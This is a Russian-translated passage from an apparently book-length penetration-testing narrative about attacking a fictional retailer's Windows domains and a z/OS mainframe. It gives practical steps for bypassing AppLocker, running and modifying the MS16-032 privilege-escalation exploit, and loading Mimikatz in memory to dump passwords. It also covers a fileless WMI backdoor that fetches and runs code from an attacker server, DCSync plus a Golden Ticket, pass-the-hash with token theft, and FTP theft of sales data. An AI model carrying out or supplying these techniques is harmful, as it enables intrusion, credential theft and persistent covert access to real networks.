адресу: http://ikat.ha.cked.net/ есть онлайн-инструменты для чтения файлов и выполнения команд в ограниченных окружениях (iKAT). Перевод @Ianuaria skladchik.com Отлично! Теперь мы можем просматривать файлы на сервере. Время копнуть глубже! В идеале нам нужно найти какие-нибудь учетные данные на машине, поэтому будем искать по классике файлы с расширениями: .vba, .vbs, .bat, .ps1и т.п. Ничего такого не находим в папке “C:\temp” или какой-либо другой папке или общей папке, доступных на этой машине. Иногда учетные данные локального администратора хранятся в файлах развертывания типа “unattend.xml” и “sysprep.xml”: <Password>*КРИТИЧНЫЕ*ДАННЫЕ*УДАЛЕНЫ*</Password> Похоже, что они хорошо выполнили свою домашнюю работу… мы пытаемся открыть командный интерфейс ( cmd.exe) для проверки системных параметров, но получаем очередную симпатичную ошибку на экране: Перевод @Ianuaria skladchik.com Ваш системный администратор заблокировал эту программу. Для получения дополнительной информации обратитесь к своему системному администратору. Точно такая же ошибка, как при попытке запуска диспетчера задач. Быстрый поиск в Google раскрывает, что это связано с AppLocker, приложением Windows, которое ограничивает, какие исполняемые файлы могут запускать пользователи. Он может использовать три параметра для распознавания и запрета приложений: ● Расположение исполняемого файла. Поскольку cmd.exe находится в “ c:\windows\system32”, которая всегда разрешается в AppLocker, то это не тот случай. ● Сертификат издателя исполняемого файла. Поскольку cmd.exe - это утилита, подписанная Microsoft, то определенно, это также не наш случай. ● Отпечаток или хэш исполняемого файла. Должно быть, именно это. Можем ли мы найти альтернативы cmd.exe, которые не будут иметь такой же хэш? Перевод @Ianuaria skladchik.com Конечно: 32-битная версия cmd.exe, powershell.exe, powershell_ise.exe, powershell.exe (32-битный45), файлы .BAT, VBS-файлы, HTA-приложения, JS-файлы, объекты ActiveX... Мы пробуем эти уловки, но все они проходят неудачно одна за другой. Администраторы выполнили тщательную работу в этой системе и заблокировали все эти исполняемые файлы. Но у нас по-прежнему есть другие стрелы в нашем магическом колчане! Помните RPC-команды, которые мы запускали, используя wmiexec? Что ж, есть исполняемый файл, который мы можем использовать в Windows для выполнения подобного рода задачи: C:\windows\system32\wbem\wmic.exe (и его 32-битная версия: C:\windows\sysWOW64\wbem\wmic.exe). Давайте попробуем: Отлично! Команды во WMIC имеют дикую структуру, но по итогу, мы получаем такую же информацию, что и через стандартные команды.46 45 C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 46 Полезные WMIC-запросы: https://blogs.technet.microsoft.com/askperf/2012/02/17/useful-wmic-queries/ Перевод @Ianuaria skladchik.com Допустим, мы хотим получить имя машины и степень ее пропатченности: мы выполняем команды computersystem get name и qfe get Hotfixid: Кажется, админы GibsonBird в этот раз были немного неосмотрительными. Сервер не обновлялся более трех лет… можем ли мы воспользоваться этим? Конечно! Скачиваем публично доступный эксплойт, который выполнит эскалацию привилегий, допустим, код эксплойта MS16-03247, используя Internet Explorer в Citrix, затем выполним его при помощи PowerShell, чтобы получить привилегии администратора. Единственная проблема, конечно, в том, что PowerShell запрещен Applocker-ом. Немного затруднительное положение. Давайте обозначим проблему более точно: дефолтный powershell.exe, установленный на эту машину Windows, нельзя запустить. Что если мы сможем найти замену PowerShell, с другим отпечатком или хэшем? Не файл .exe, а например, DLL-файл. В конце концов, DLL-файл - это также валидный PE-файл, он лишь не может быть запущен напрямую и нуждается в запуске другим исполняемым файлом. 47 https://github.com/FuzzySecurity/PowerShell-Suite/raw/master/Invoke-MS16-032.ps1 Перевод @Ianuaria skladchik.com Мы можем скачать DLL-реализацию PowerShell с Github автора p3nt448 и переместить ее на сервер Citrix (либо напрямую через Internet Explorer, либо через PI Zero, сначала поместив файл в него, а затем загрузив его на сервер Citrix49). Для запуска этого DLL, мы просто вызываем исполняемый файл RunDLL32.exe и даем ему точку входа PowerShdll.dll, функция “main” в этом случае: rundll32.exe PowerShdll.dll,main Совет: мы можем осуществить этот же трюк и для запуска cmd. Вы можете взять DLL-версию cmd.exe с сайта автора Didier Stevens50 и запустить ее следующим образом: rundll32.exe cmd.dll,Control_RunDLL Теперь, когда у нас наконец есть интерпретатор PowerShell, мы можем выполнить эксплойт ms16-032. Этот эксплойт использует состояние гонки между потоками51, работающими на различных 48 https://github.com/p3nt4/PowerShdll/tree/master/dll 49 При помощи чего-то типа python -m SimpleHTTPServer для порождения веб-сервера на PI. 50 https://blog.didierstevens.com/2010/02/04/cmd-dll/ 51 https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html Перевод @Ianuaria skladchik.com ядрах CPU, для открытия командной строки с наивысшими привилегиями в системе: NT AUTHORITY. Мы получаем ошибку: “валидный handle потока не захвачен, выход”. Это не нормально! Мы точно знаем, что система не пропатчена, и что эксплойт действующий. В чем может заключаться потенциальная проблема? --- Invoke-MS16-032.ps1 file --# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED $CallResult = [Advapi32]::CreateProcessWithLogonW( "user", "domain", "pass", 0x00000002, "C:\Windows\System32\cmd.exe", "", 0x00000004, $null, $GetCurrentPath, [ref]$StartupInfo, [ref]$ProcessInfo) --- etc --- Выясняется, что эксплойт для MS16-032 порождает потоки cmd.exe, чтобы создать ситуацию их гонки. Это не подходит, учитывая имеющуюся политику AppLocker. Нам нужно изменить эту команду и указать на валидный исполняемый файл, например, “ C:\windows\system32\wbem\wmic.exe”. Мы выполняем такое же изменение в строке 333. Перевод @Ianuaria skladchik.com Готово! Появляется новое окно wmic с учетными данными администратора. Красота этого решения, кроме, конечно, наличия привилегий администратора, в том, что мы больше не ограничиваемся недоброжелательной политикой AppLocker! Мы можем породить любой процесс на машине, какой захотим, при помощи команды process call create "cmd": Это заняло какое-то время, но по итогу мы добились своего! Интерактивная консоль администратора на сервере Citrix. Следовательно, мы контролируем машину и любого пользователя, Перевод @Ianuaria skladchik.com связанного с ней из любого магазина в стране! В этом великолепная особенность Citrix. Он собирает всех пользователей в одну локацию, так что нам не придется охотиться на них по разным машинам. Чтобы выжать максимум из этой уникальной возможности, мы проэксплуатируем одну из прекраснейших уязвимостей в окружении Windows: обратимые пароли в памяти. **Примечание по Mimikatz - волшебной палочке для Windows** Gentilkiwi разработал Mimikatz для исследования внутренностей механизмов аутентификации Windows. Он выяснил, что после того, как пользователи входят в систему, их пароли сохраняются в процессе Сервиса проверки подлинности локальной системы безопасности (LSASS) в памяти. Используя незадокументированные функции Windows, Mimikatz может дешифровать эти пароли и вывести их в открытом тексте. Я рекомендую вам ознакомиться с различными материалами Gentilkiwi6352 касаемо деталей этой дыры, но удивительная вещь заключается в том, что это по-прежнему работает даже спустя столько много лет. Mimikatz предоставляет так много опций, что он фактически стал основным инструментом для взлома/пентестинга окружений Windows. Мы поговорим о некоторых из его функций позже. **** Возможно, вы размышляете, не слишком ли мы рискуем на данном этапе. Этот инструмент имеет большую популярность. 52 https://www.youtube.com/watch?v=-IMrNGPZTl0 Перевод @Ianuaria skladchik.com Конечно же, антивирусы и средства для борьбы с вредоносным ПО пометят первые пять байт этого инструмента. И это правда! Но есть одна простая и важная истина по поводу антивирусных продуктов53: они анализируют только файлы, которые вы записываете на диск. Не важно, какими замечательными и инновационными являются их методы, они ограничены этим простым фактом. Mimikatz был настолько успешным, что стал быстро интегрироваться в большинство инструментов для атаки на Windows. Cymb3r54 даже создал PowerShell-обертку, которая вызывает исполняемый файл в памяти, не оставляя никаких следов на диске. Никаких файлов на диске, никакой тревоги антивируса. Используя командную строку с повышенными правами, которую мы получили ранее, запускаем PowerShell и готовим веб-объект для скачивания Mimikatz. Интернет-соединения вероятнее всего проходят через корпоративный прокси, который запрашивает доменную аутентификацию. Для этого предназначена вторая строка в вышеуказанной команде, которая передает учетные данные dvoxon вместе с веб-запросом. 53 Инструменты для конечных устройств по обнаружению и реагированию стараются использовать различные подходы для сканирования памяти на вредоносное поведение, но они по-прежнему находятся на стадии развития и их можно обойти практически всегда… 54 https://github.com/clymb3r/PowerShell/tree/master/Invoke-Mimikatz Перевод @Ianuaria skladchik.com Далее мы загружаем PowerShell-обертку Mimikatz, затем исполняем ее в памяти при помощи всемогущей команды “ Invoke-Expression”. Последний штрих - вызвать функцию Invoke-Mimikatz, и да начнется дождь! Как и ожидалось, учетные данные буквально льются как из ведра! Citrix реально красавчик! Из порядка сотни пользователей мы получаем наш обещанный приз: учетная запись администратора домена GBSHOP: rachel_adm/Emma*Gryff12 Эльдорадо Windows Перед тем, как двигаться дальше к новым приключениям, нам нужно “сохранить” наше текущее положение на случай, если мы потеряем доступ к серверу Citrix по какой-либо причине: незапланированная перезагрузка, отключение учетной записи и так далее. Мы всегда можем вернуться через PI Zero или агент Empire на компьютер Даниэля и “начать заново”, но разве не будет замечательно, если мы заставим сервер Citrix автоматически Перевод @Ianuaria skladchik.com отзванивать домой каждые 10 минут, чтобы сохранять уверенность, что все в порядке? Уверен, вам нравится эта идея, давайте перейдем к делу! Есть несколько способов решения этой задачи: ● Установить ключи реестра55, которые запускают программы по входу пользователей в систему - весьма подходящий вариант для сервера виртуализации, но в зависимости от используемого ключа реестра, это может быть обнаружено многими стандартными криминалистическими инструментами. ● Настроить запланированную задачу, которая будет вызывать PowerShell-скрипт и запускать его каждые 15 минут. Очень надежно, но примитивно. Пейлоад будет легко видим любому администратору машины. ● Какая-либо форма угона EXE или DLL. Мы подбираем недостающие DLL или EXE, которые стандартные инструменты будут стремиться вслепую загрузить на старте системы, и помещаем фейковый DLL или EXE с таким же именем в подходящую папку, что приведет к запуску в следующий раз, когда эти инструменты будут их искать. Все эти техники хороши, но они слишком очевидны, либо требуют наличия файлов на диске, а это не достаточно скрытно для нас. Вместо этого, мы продолжим с интересной “бесфайловой” техникой, опирающейся на Фильтры Windows Management Instrumentation (WMI). Мы уже использовали инструмент WMI для выполнения RPC-функций и запуска команд ( wmiexec в Linux и wmic.exe в Windows). На деле, это гораздо более мощный инструмент, поскольку он предоставляет практически уникальные способы для взаимодействия со внутренними компонентами Windows. 55 Ключи реестра хранят конфигурацию Windows. Их можно просмотреть при помощи утилиты regedit.exe Перевод @Ianuaria skladchik.com Один из таких интересных компонентов - это фильтр событий. Он может привязать событие на машине: создание процесса, вход пользователя в систему и т.д., к запуску действия, например, выполнению команды. Понимаете, к чему я веду? Мы установим задачу отслеживания событий WMI, затем дадим ей инструкцию выполнять PowerShell-команду, которая будет отзванивать домой, когда совершается определенное событие. Для этого мы настраиваем три компонента WMI: ● Зарегистрированное событие WMI; это может быть простой 30-минутный таймер. ● Зарегистрированный фильтр WMI, который будет отслеживать это событие и создавать оповещение по его возникновению. ● Подписчик на события WMI, представляет собой действие для выполнения, как только фильтр подает оповещение. Начнем с регистрации 30-минутного таймера в PowerShell: Создаем объект _IntervalTimerInstruction, основанный на этом таймере. Класс этого объекта относится к пространству имен по умолчанию root/cimv2, в котором содержится большая часть объектов и функций класса операционной системы. Событие установлено. Теперь нам нужно определить фильтр, который будет отслеживать, когда это событие будет происходить. Это просто запрос “ select”, который ищет наше событие с Перевод @Ianuaria skladchik.com таймером среди тысяч других событий, запускаемых каждую секунду в Windows: Как и ранее, мы создаем объект, в этот раз принадлежащий классу __EventFilterдля регистрации фильтра: В идеале, нам бы хотелось запускать команду каждый раз, когда происходит событие. Эта команда будет скачивать и запускать скрипт с сервера Front Gun. Большую часть времени это будет скрипт с безобидным “hello”, потому что нам попросту не нужно порождение 50 тысяч шеллов на машине. Если мы потеряем доступ агента Empire, то сможем заменить это фиктивное “hello” новым агентом Empire, который установит заново доступ через обратный шелл. Наш пейлоад столь же прост, как веб-клиент, который скачивает56 файл - конечно, принимая во внимание прокси - а затем исполняет его. Мы кодируем пейлоад для упрощения строкового выполнения команд, также как это делает Empire: 56 В этом параграфе я не стал заморачиваться с настройкой HTTPs-сервера, чтобы больше сосредоточиться на схеме для устойчивости. Позже мы познакомимся со скриптом, который работает с HTTPs (как на стороне клиента, так и на стороне сервера), так что потерпите немного. Перевод @Ianuaria skladchik.com в объект Помещаем эту переменную FinalPayload подписчика WMI класса CommandLineEventConsumer для его регистрации: Заключительный шаг - связать фильтр событий с подписчиком при помощи так называемого объекта Binding: Как только привязка (binding) выполнена, мы незамедлительно начнем получать запросы файла script.txt с сервера Citrix. Как уже говорилось ранее, script.txt содержит фиктивную команду для исполнения. Если мы потеряем доступ, мы просто заменяем его содержимое на stager Empireдля восстановления доступа. Перевод @Ianuaria skladchik.com Красиво, не так ли?57 Никаких файлов на диске, никаких ключей в автозапуске, только лишь незаметная манипуляция с Windows. Можете получить вдохновение для подобных причудливых методов закрепления в этой серии материалов58 - хотя не уверен, что там упоминаются фильтры WMI. Мы успешно установили бэкдор в систему на случай, если потеряем сетевой доступ. Теперь давайте обратим наше внимание на бэкдор для домена. Задача здесь предельно простая. Нам нужно сохранить высокопривилегированный доступ, даже если администратор сбросит абсолютно все пароли в домене, удалит пользователей или пропатчит сервера. Конечно, учитывая наш бэкдор в виде PI Zero, мы всегда можем восстановить доступ, найти другой способ эскалации привилегий и запустить Mimikatz для получения новых паролей, но это такая заморочка! Вместо этого, давайте пойдем по другому пути: этот путь приведет нас в эльдорадо Windows. Для этого нам нужно сделать пару дополнительных замечаний по поводу доменной аутентификации Windows, так что отнеситесь ко мне с пониманием. Для решения проблемы с различными уязвимостями в NTLM, связанными с атаками повторного воспроизведения, Microsoft адаптировали и внедрили протокол аутентификации с открытым 57 Мы могли бы не сдержаться и использовать рандомное имя файла, HTTPs с сертификатом Let’s Encrypt и другие прикольные вещи. Возможно, я напишу об этом в своем блоге в будущем. 58 http://www.hexacorn.com/blog/2017/01/28/beyond-good-ol-run-key-all-parts/ Перевод @Ianuaria skladchik.com исходным кодом под названием Kerberos.59 Вот основные шаги процесса аутентификации Windows Kerberos: ● Пользователь шифрует текущую метку времени хэшем своего пароляи отправляет ее на контроллер домена (DC). ● DC дешифрует метку времени, используя хэш, хранящийся в Active Directory, и проверяет, попадает ли она в 10-минутный диапазон. Затем он отправляет обратно объект зашифрованных данных, Билет на получение билета (Ticket Granting Ticket, TGT), содержащий идентификатор пользователя и его привилегии. Только DC может дешифровать и прочитать TGT. ● Далее, пользователь, который хочет получить доступ к веб-сервису или сетевому общему ресурсу, снова выходит на связь с DC и вслепую отправляет ему обратно TGT вместе с именем нужного сервиса. DC дешифрует TGT, находит идентификатор пользователя и проверяет, можно ли выдать ему доступ к запрошенному сервису. Если можно, DC отправляет обратно Билет на предоставление мандата/разрешения (Ticket Granting Service, TGS), это зашифрованный объект данных, содержащий идентификатор пользователя. TGS может быть прочитан только заданным сервисом. ● Пользователь вслепую направляет TGS в адрес заданного сервиса, который дешифрует данные, получает идентификатор пользователя и предоставляет доступ. Мы специально пропустили множество обменов сессионными ключами в этом процессе, которые используются для симметричного шифрования данных, поскольку они не имеют значения для наших текущих целей. Вместо этого мы сосредоточимся на TGT. 59 http://www.roguelynn.com/words/explain-like-im-5-kerberos/ Перевод @Ianuaria skladchik.com Как было отмечено, он шифруется DC при помощи уникального ключа и ему оказывается дальнейшее доверие в этом процессе для точного представления пользовательских привилегий. Секретный ключ, шифрующий TGT, является хэшем пароля учетной записи krbtgt, это дефолтная учетная запись, представленная в каждом домене Windows. Если мы сможем получить доступ к этому волшебному ключу, то сможем создать наш собственный билет TGT, содержащий любой идентификатор, какой захотим. Допустим, основная учетная запись администратора домена: Administrator. Контролируя TGT, мы также устанавливаем время его жизни. Вместо стандартного 10-минутного времени жизни, мы можем сделать его валидным в течение 10 лет, к примеру! Впрочем, настоящий бонус в том, что этот билет остается валидным, даже если пароль администратора изменяется. И наконец, вишенка на вершине торта великолепия, коим является krbtgt - эта учетная запись дает доступ ко ВСЕМ другим доменам в лесу GBSHOP.CORP! К сожалению, в этом сценарии, GBHR и GBSALES являются частью совершенно других лесов, но постарайтесь вспомнить это в следующий раз, когда будете тестировать лес с несколькими доменами на проникновение! Это в действительности бэкдор для конечной учетной записи. Бенджамин Делпи реализовал фичу для генерации 10-летнего TGT в своем инструменте Mimikatz и назвал ее “Золотой Тикет”! Итак, подведем итоги, чтобы получить полный устойчивый доступ к окружению домена (леса), нам нужен хэш пароля krbtgt. Есть разные способы добиться этого: некоторые очень медленные, типа снятия дампа файла базы данных Active Directory ( NTDS.DIT) из контроллера домена и парсинга всех учетных записей, а есть очень быстрые, например DCSync! Перевод @Ianuaria skladchik.com Оказывается, что контроллеры доменов регулярно обмениваются хэшами паролей для делегации аутентификации. Если мы сможем олицетворить контроллер домена, то сможем вежливо попросить любой легитимный контроллер домена предоставить нам хэш пароля любой учетной записи! Вооружившись нашими привилегиями администратора домена, мы будем использовать Mimikatz именно для этого - я же говорил вам, это потрясающий инструмент для взлома Windows! Однако, перед тем, как начать общение с DC, нам нужно породить сеанс, используя учетные данные Рэйчел ( rachel_adm). Мы можем быть под учетной записью NT AUTHORITY в локальной системе Citrix, но нам нужен сеанс администратора домена для выполнения операций DC Sync: Далее мы используем тот же трюк, что и ранее (invoke-expression) для загрузки Mimikatz и его вызова в памяти, затем вызываем опцию dcsync для забора хэша пароля krbtgt: Перевод @Ianuaria skladchik.com Благополучно сохраняем этот хэш на сервер Front Gun. Для генерации Золотого Билета нам также нужно определить SID домена: уникальный идентификатор объекта Windows: Удаляем последнюю часть SID пользователя, чтобы получить идентификатор домена: S-1-5-21-2376009117-2296651833-4279148973 Далее используем Mimikatz для создания Золотого Билета, олицетворяющего основную учетную запись администратора домена Windows: Перевод @Ianuaria skladchik.com Готово! В следующий раз нам следует использовать этот Золотой Билет из нового сеанса Empire, к примеру, мы выполняем следующую команду: Mimikatz внедрит билет администратора в текущий сеанс, что предоставит нам полные привилегии администратора домена. Мы сможем затем подавать WMI-команды на удаленных серверах, выполнять команды, добавлять пользователей и так далее. Единственный вариант потерять Золотой Билет - это изменить дважды пароль krbtgt… Удачи, GibsonBird, кажется, мы обвенчались на всю жизнь! Перевод @Ianuaria skladchik.com Злоупотребление доверием “Доверие невинных - самый полезный инструмент лжеца”. Стивен Кинг Перевод @Ianuaria skladchik.com Игра с сетью Давайте подведем краткий итог по текущей ситуации: ● У нас есть сеанс PowerShell с повышенными привилегиями на сервере Citrix посредством эксплойта MS16-032. ● У нас есть волшебный бэкдор на сервере Citrix на тот случай, если мы потеряем доступ: событие WMI, которое запускает код, подтягиваемый с сервера Front Gun. ● Даже если будут обновлены пароли всех учетных записей, мы по-прежнему сможем выполнять команды под администратором домена в GBSHOP при помощи Золотого Билета. ● И конечно, у нас по-прежнему есть PI Zero и агент Empire, работающий на одном из компьютеров магазина. Мы надежно закрепились в домене GBSHOP. Вооружившись учетной записью администратора домена, мы можем вернуться к тем общим ресурсам, которые были недоступны для учетной записи Даниэля, и посмотреть, что мы там сможем обнаружить: Получаем доступ к соблазнительному ресурсу FTP_SALES$, но выясняется, что там практически пусто. Есть один небольшой Перевод @Ianuaria skladchik.com скрипт, который, по всей видимости, пушит файлы через FTP на удаленный хост: Import-Module PSFTP $FTPServer = '10.30.30.210' $FTPUsername = 'FTPService' $FTPPassword = $( Read-Host "Input password, please" ) $FTPSecurePassword = ConvertTo-SecureString -String $FTPPassword asPlainText -Force $FTPCredential = New-Object System.Management.Automation.PSCredential($FTPUsername,$FTPSecurePas sword) […] Get-ChildItem -Path $local_out | % { $ftp_file = "$ftp_path/$($_.Name)" # determine item fullname Add-FTPItem -Path $ftp_file -LocalPath $_.FullName -Session $session Remove-item $ftp_file } Пароль вводится вручную каждый раз, поэтому мы даже не можем получить доступ к FTP-серверу на машине 10.30.30.210. Мы пробуем подсоединиться к серверу через RPC (135) или RDP (3389), но безрезультатно. Строгий сетевой фильтр запрещает все, кроме FTP-соединений. IP-адрес, кажется, входит в сеть, относящуюся к домену GBSALES, вот почему мы не можем получить доступ к нему с сервера Citrix в домене GBSHOP. Перевод @Ianuaria skladchik.com в отношении Полностью slookup Совет: запуск n определенного имени домена (FQDN) для доменов Windows возвращает IP-адрес DC. Мы можем сделать разумное предположение, что файлы по продажам из различных магазинов автоматически отправляются по FTP в эту централизованную локацию. Мы можем подождать до следующей передачи и сграбить файлы до того, как они будут стерты, но оставим это на крайний случай. Давайте продолжим наш процесс исследования. Помимо машины с Citrix и нескольких файловых серверов, кажется, мало что происходит в домене GBSHOP. По всей видимости, он по большему счету представляет собой некий промежуточный элемент или буфер перед другими внутренними компонентами. Это умный способ разделения окружений и защиты критически важных активов. Как мы видели ранее, если мы пытаемся получить доступ к домену GBSALES с сервера Citrix, то просто не получаем никакого ответа. Но есть доверительные отношения между двумя лесами (GBSHOP и GBSALES), поэтому наверняка есть какие-то соединения, разрешенные как минимум между некоторыми критичными компонентами. Если мы обратимся к документации Microsoft, то в ней ясно говорится, что следующие порты должны быть открыты между контроллерами доменов на обоих доменах60: ● 445 для передачи файлов ● 88 для аутентификации Kerberos ● 135 для RPC-коммуникаций 60 https://technet.microsoft.com/en-us/library/cc756944(v=ws.10).aspx Перевод @Ianuaria skladchik.com ● 389 для LDAP-коммуникаций ● Несколько динамических портов для RPC-коммуникаций Интересно. Это означает, что для прыжка в отдел GBSALES, нам нужно пройти через контроллер домена GBSHOP. Я не большой фанат запуска пейлоадов на DC, но в этот раз у нас реально нет другого выбора... Используя WMI через командную строку PowerShell на сервере Citrix, мы запускаем удаленный процесс на сервере DC, который породит агент Empire: Попробуем вывести список общих ресурсов на основном контроллере домена GBSALES (порт 445): Гораздо лучше! Перевод @Ianuaria skladchik.com Как и ожидалось, теперь мы можем “увидеть” некоторые ресурсы GBSALES. Вдобавок, ввиду доверительных отношений между двумя доменами, мы можем опрашивать машины GBSALES, используя пользователей домена GBSHOP. Хотя в большинстве случаев у нас будут стандартные пользовательские привилегии! Приготовьтесь к новому эпизоду эскалации привилегий! Домен отдела продаж Знакомство Чтобы найти способы перехода на домен GBSALES, мы начнем с разбора базовой структуры домена. Будем использовать ранее продемонстрированный модуль для разведки get_domain_controller, чтобы вывести список всех контроллеров домена GBSALES: Немного больше контроллеров доменов, чем у GBSHOP, и как видите, этот домен действительно в другом Лесу ( GBSALES.CORP). Если бы это было не так, то мы смогли бы воспользоваться учетной записью krbtgt из GBSHOP! Перевод @Ianuaria skladchik.com Давайте выведем все Windows-хосты, зарегистрированные в домене, чтобы оценить размер этой новой цели: В сравнении с GBSHOP, в котором была всего пара серверов, GBSALES находится на другом уровне. Суммарное количество компьютеров 350! Вы, вероятно, заметили в списке этих имен FTP-сервер SL0210 (10.30.30.210), который, как мы знаем из использованного ранее скрипта, выступает в роли хаба для всех данных по продажам. Быстрое сканирование портов этого сервера показывает, что мы можем нацелиться на него прямо из DC. Не нужно порождать обратный агент на контроллерах доменов GBSALES: Перевод @Ianuaria skladchik.com Отлично! Если мы каким-либо образом получим привилегированные учетные данные в домене GBSALES, то мы сможем перейти на этот ценный сервер! Давайте продолжим процесс разведки и выведем список учетных записей администраторов домена в GBSALES: Перевод @Ianuaria skladchik.com Это уже интересно! Вы въезжаете? Окей, это может немного помочь. Вот учетные записи администраторов домена GBSHOP: Кажется, одна и та же учетная запись sysback - скорее всего, резервная учетная запись - представлена на обоих доменах! Если удача нам улыбнется, то возможно, всего лишь возможно, что у обоих одинаковый пароль… Давайте попробуем! Эксплуатация доверия Снимем дамп хэша пароля учетной записи sysback в домене GBSHOP, затем используем его для аутентификации в GBSALES. Нам не нужно взламывать хэш ввиду способа, которым Windows выполняет NTLM-аутентификацию. Вспомним, о чем мы говорили немного ранее, когда сервер просит клиента пройти аутентификацию, клиент отправляет следующую строку: хэш (H + рандомное_число), где H - это хэш пароля. Это означает, что нам нужно лишь знать хэш пароля (называемый NTLM-хэшем), чтобы сформировать валидный NTLM-ответ на запрос, и заставить сервер впустить нас внутрь. Этой атаке уже порядка 20 лет, но она по-прежнему считается одним из самых мощных трюков для Windows. Она называется атакой pass-the-hash. Как получить хэш рандомной учетной записи? Мы вновь используем DCSync! Перевод @Ianuaria skladchik.com Теперь, когда у нас есть хэш пароля sysback, мы можем использовать его для порождения нового процесса на сервере. Когда этот процесс будет проходить аутентификацию на удаленных ресурсах, он будет “передавать” хэш sysback, таким образом эффективно олицетворяя идентификатор sysback - при условии, конечно, что пароль действительно одинаковый на обоих доменах. Стоит отметить, что успешное порождение процесса с определенным хэшем не означает, что пароль действительно правильный. Это простой трюк с внедрением в память. Реальный тест - реальная аутентификация - произойдет, если мы получим доступ к удаленному ресурсу. Перевод @Ianuaria skladchik.com Если бы мы были в интерактивном графическом сеансе, то увидели бы появление нового окна с учетной записью sysback. Но поскольку мы под обратным соединением с использованием Empire, это окно остается в фоне. Этот новый процесс cmd.exe содержит идентификатор sysback - токен в памяти, эквивалентный куки веб-сессии, который можно повстречать на большинстве веб-сайтов. Это структура, ссылающаяся на привилегии и идентификатор пользователя, стоящего за каждым процессом. Чтобы найти токен безопасности sysback, мы просто “крадем” его из нового процесса, который только что породили: Теперь мы по сути дела соединены как учетная запись sysback через агент Empire. Чтобы проверить, что учетная запись Перевод @Ianuaria skladchik.com sysback в GBSALES действительно использует такой же пароль, что ив GBSHOP, мы просто тестируем удаленное действие в DC GBSALES - например, вывод защищенного ресурса C$ - и смотрим, сработает ли это: Ура! Второй домен пал! Что за этим FTP-сервисом? Теперь, когда мы владеем учетной записью администратора домена, мы просто используем тот же самый трюк, что и ранее, для порождения нового агента Empire на сервере, принадлежащем GBSALES. Какой из них выбрать? Помните тот FTP-сервер, который получал данные о продажах из GBSHOP - SL0210 (10.30.30.210)? Мы наконец можем последовать по этому пути и получить доступ к серверу как через сеть (с DC GBSHOP), так и через систему (мы администраторы домена GBSALES). Порождаем новый агент на этом сервере, используя WMI: Перевод @Ianuaria skladchik.com Далее взаимодействуем с агентом и направляемся прямиком в дефолтную папку, используемую FTP в Windows: Снова пусто! Мы попросту не можем прибрать к рукам эти файлы. Но по-прежнему мы уверены в том, что они отправляются сюда, так что должна быть какая-то задача, которая регулярно отправляет их отсюда в еще одну другую локацию. Давайте выведем список всех запланированных задач на этой машине: Вот оно! Перевод @Ianuaria skladchik.com Что ж, команда delete в конце скрипта объясняет многое! Мы получили, будем на это надеяться, последний IP-адрес в этой бешеной гонке: 10.30.30.41. Эта новая машина также, судя по всему, находится в сегменте сети GBSALES, поэтому нам не нужно гнаться за новой целью. Учетные данные от FTP: FTPSRV/PASS01 Выполняем быстрое сканирование портов на этой машине, чтобы оценить, какая точка входа лучше всего подходит: SSH (22) и portmap (111) вместо SMB и RPC портов, это не Windows-машина… разумеется, это какой-то дистрибутив Linux. У нас нет другого входа, кроме как через FTP-сервис! Поскольку у нас нет интерактивного сеанса на сервере SL0210, мы загружаем простой скрипт ( /root/simple_ftp.txt), который соединяется с этим FTP-сервером (10.30.30.41), затем исполняет команду dirдля вывода файлов в текущей директории61: Open 10.30.30.41 FTPSRV PASS1 dir quit 61 Перед отправкой файла, записанного в Unix на Windows-платформу, убедитесь, что добавили возвраты каретки (0x0D) перед переводами строки (0x0A) при помощи команды unix2dos. Перевод @Ianuaria skladchik.com Наконец-то, файлы… множество файлов! Хотя они выглядят странно! Файлы на Linux-сервере не имеют подобных имен. Это не Linux-машина; да это же мэйнфрейм! Мэйнфрейм - это суперкомпьютер с несколькими сотнями процессоров и памятью, иногда расширяемой до 10 ТБ. Если вы внимательно посмотрите на FTP-заголовок, то убедитесь, что он подтверждает, что мы на версии V1R10. Этот номер версии представляет собой операционную систему z/OS, используемую на более чем 75% мэйнфреймов. В определенной степени, нам не важно, находимся ли мы на мэйнфрейме или в Unix, поскольку, по всей видимости, стандартные FTP-команды работают нормально. Для полной ясности, стоит отметить, что у каждой z/OS есть Unix “раздел”, который работает с TCP/IP коммуникациями, FTP-сервисом, веб-сокетами и так далее. Поэтому, даже если мы Перевод @Ianuaria skladchik.com едва знакомы с z/OS, мы можем “атаковать” ее через Unix-раздел, с которым мы можем работать на комфортном уровне. Можем снять дамп файлов с данными по продажам, используя команду mget. Поскольку эта команда запрашивает подтверждение перед каждой передачей, мы добавляем команду prompt, которая имитирует действие клавиши Enter: open 192.168.1.200 FTPSRV PASS01 ascii mget SALES.* prompt quit Позже мы позаботимся о правильном извлечении этих данных без поднятия тревоги. Для начала давайте изучим, что именно мы получили: Перевод @Ianuaria skladchik.com Интересно! У нас сегодняшние продажи из каждого магазина в Германии! Этот мэйнфрейм - действительно свет в конце туннеля! Если нам нужно отслеживать будущие продажи, мы можем с легкостью возвращаться сюда каждый день и получать новые данные, но что насчет прошлых продаж? Данных кредитных карт? Совершенно точно должны быть другие папки и архивы за прошедшие годы, к которым мы могли бы получить доступ. На текущем FTP-сервисе нет никаких других папок, так что мы должны как-то сбежать из этой ограниченной среды и получить доступ к большему количеству критичных папок. Чтобы это сделать, нам нужно углубиться во внутренности z/OS… Приготовьтесь! Интересный разговор62 произошел какое-то время назад на Black Hat USA, в ходе которого была освещена интересная особенность FTP в z/OS: выполнение команд! Хорошо, мы можем воспользоваться этим простым сервисом чтения/записи для запуска заданий JOB (программ) в мэйнфрейме. К сожалению, мы не можем рассчитывать на доступные скрипты и утилиты ( MainTP63 и скрипты Metasploit64), ввиду нашей 62 https://media.blackhat.com/us-13/US-13-Young-Mainframes-The-Past-Will-Come-Back-to-Haunt-YouWP.pdf 63 https://github.com/mainframed/MainTP 64 https://www.bigendiansmalls.com/jcl-scripting-for-metasploit-framework/ Перевод @Ianuaria skladchik.com стандартной и ограниченной среды оболочки. Нам нужно запачкать наши руки и написать пару программ для мэйнфрейма! JOB - это аналог задания. Можно смело сказать, что все, что работает в мэйнфрейме - это либо JOB, либо это было запущено при помощи JOB. Язык управления заданиями (Job Control Language, JCL) - это скриптовый язык, используемый для написания заданий JOB. Этот язык достаточно жесткий и предоставляет очень небольшое пространство для творчества, поэтому иногда его называют крупнейшей ошибкой в истории z/OS.65 Положительная сторона в том, что вы можете повторно использовать одну и ту же “структуру” множество раз. Мы начнем с базовой программы, которая будет снимать дамп текущих привилегий в z/OS: 